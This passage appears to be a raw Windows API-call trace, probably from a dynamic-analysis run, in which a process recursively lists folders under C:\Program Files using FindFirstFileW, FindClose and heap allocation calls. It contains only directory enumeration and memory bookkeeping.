lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0207.249] GetProcessHeap () returned 0x550000 [0207.249] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0207.249] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0207.250] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0207.250] GetProcessHeap () returned 0x550000 [0207.250] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0207.250] GetProcessHeap () returned 0x550000 [0207.250] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0207.250] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0207.250] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0207.250] GetProcessHeap () returned 0x550000 [0207.250] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0207.251] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0207.251] GetProcessHeap () returned 0x550000 [0207.251] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0207.251] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0207.251] GetProcessHeap () returned 0x550000 [0207.251] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0207.252] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0207.252] GetProcessHeap () returned 0x550000 [0207.252] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0207.252] GetProcessHeap () returned 0x550000 [0207.252] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0207.252] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdb3771a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb3771a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0207.252] GetProcessHeap () returned 0x550000 [0207.252] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0207.253] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0207.253] GetProcessHeap () returned 0x550000 [0207.253] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0207.254] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0207.254] GetProcessHeap () returned 0x550000 [0207.254] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0207.254] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0207.257] GetProcessHeap () returned 0x550000 [0207.257] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0207.257] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0207.259] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0207.259] GetProcessHeap () returned 0x550000 [0207.259] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0207.259] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0207.259] GetProcessHeap () returned 0x550000 [0207.259] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0207.260] GetProcessHeap () returned 0x550000 [0207.260] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0207.260] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0207.265] GetProcessHeap () returned 0x550000 [0207.265] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0207.265] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0207.265] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0207.266] GetProcessHeap () returned 0x550000 [0207.266] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0207.266] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0207.266] GetProcessHeap () returned 0x550000 [0207.266] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0207.266] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0207.266] GetProcessHeap () returned 0x550000 [0207.266] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0207.266] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0207.266] GetProcessHeap () returned 0x550000 [0207.266] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0207.267] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0207.267] GetProcessHeap () returned 0x550000 [0207.267] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0207.267] GetProcessHeap () returned 0x550000 [0207.267] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0207.268] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Uninstall Information\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xdbe53600, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbe53600, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0207.268] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0207.268] GetProcessHeap () returned 0x550000 [0207.268] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0207.268] GetProcessHeap () returned 0x550000 [0207.268] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0207.268] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Defender\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdbdbb080, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbdbb080, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0207.269] GetProcessHeap () returned 0x550000 [0207.269] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0207.269] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Defender\\en-US\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0207.284] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0207.284] GetProcessHeap () returned 0x550000 [0207.284] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0207.284] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0207.284] GetProcessHeap () returned 0x550000 [0207.284] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0207.284] GetProcessHeap () returned 0x550000 [0207.284] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0207.284] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Journal\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xdbf5dfa0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbf5dfa0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0207.286] GetProcessHeap () returned 0x550000 [0207.286] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0207.286] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Journal\\en-US\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0207.288] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0207.289] GetProcessHeap () returned 0x550000 [0207.289] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0207.289] GetProcessHeap () returned 0x550000 [0207.289] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0207.289] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Journal\\Templates\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0207.291] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0207.292] GetProcessHeap () returned 0x550000 [0207.292] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0207.292] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0207.292] GetProcessHeap () returned 0x550000 [0207.292] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0207.293] GetProcessHeap () returned 0x550000 [0207.293] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0207.293] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Mail\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0207.296] GetProcessHeap () returned 0x550000 [0207.296] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0207.296] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Mail\\en-US\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0207.297] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0207.297] GetProcessHeap () returned 0x550000 [0207.297] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0207.297] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0207.297] GetProcessHeap () returned 0x550000 [0207.297] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0207.297] GetProcessHeap () returned 0x550000 [0207.297] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0207.297] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdb755560, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb755560, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0207.298] GetProcessHeap () returned 0x550000 [0207.298] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0207.298] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\en-US\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ccca7f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0207.302] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0207.303] GetProcessHeap () returned 0x550000 [0207.303] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0207.303] GetProcessHeap () returned 0x550000 [0207.303] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0207.303] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Icons\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0207.303] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0207.304] GetProcessHeap () returned 0x550000 [0207.304] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0207.304] GetProcessHeap () returned 0x550000 [0207.304] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0207.304] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Media Renderer\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80471418, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80471418, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0207.305] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0207.306] GetProcessHeap () returned 0x550000 [0207.306] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0207.306] GetProcessHeap () returned 0x550000 [0207.306] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0207.306] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Network Sharing\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8044b2b8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8044b2b8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0207.308] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0207.309] GetProcessHeap () returned 0x550000 [0207.309] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0207.309] GetProcessHeap () returned 0x550000 [0207.309] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0207.309] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Skins\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9874cd8b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9874cd8b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0207.310] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0207.310] GetProcessHeap () returned 0x550000 [0207.310] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0207.310] GetProcessHeap () returned 0x550000 [0207.310] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0207.310] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Visualizations\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0207.311] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0207.311] GetProcessHeap () returned 0x550000 [0207.311] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0207.311] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0207.311] GetProcessHeap () returned 0x550000 [0207.311] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0207.311] GetProcessHeap () returned 0x550000 [0207.311] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0207.311] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdb670d20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb670d20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0207.311] GetProcessHeap () returned 0x550000 [0207.311] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0207.311] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\Accessories\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0207.312] GetProcessHeap () returned 0x550000 [0207.312] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0207.312] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows NT\\Accessories\\en-US\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, 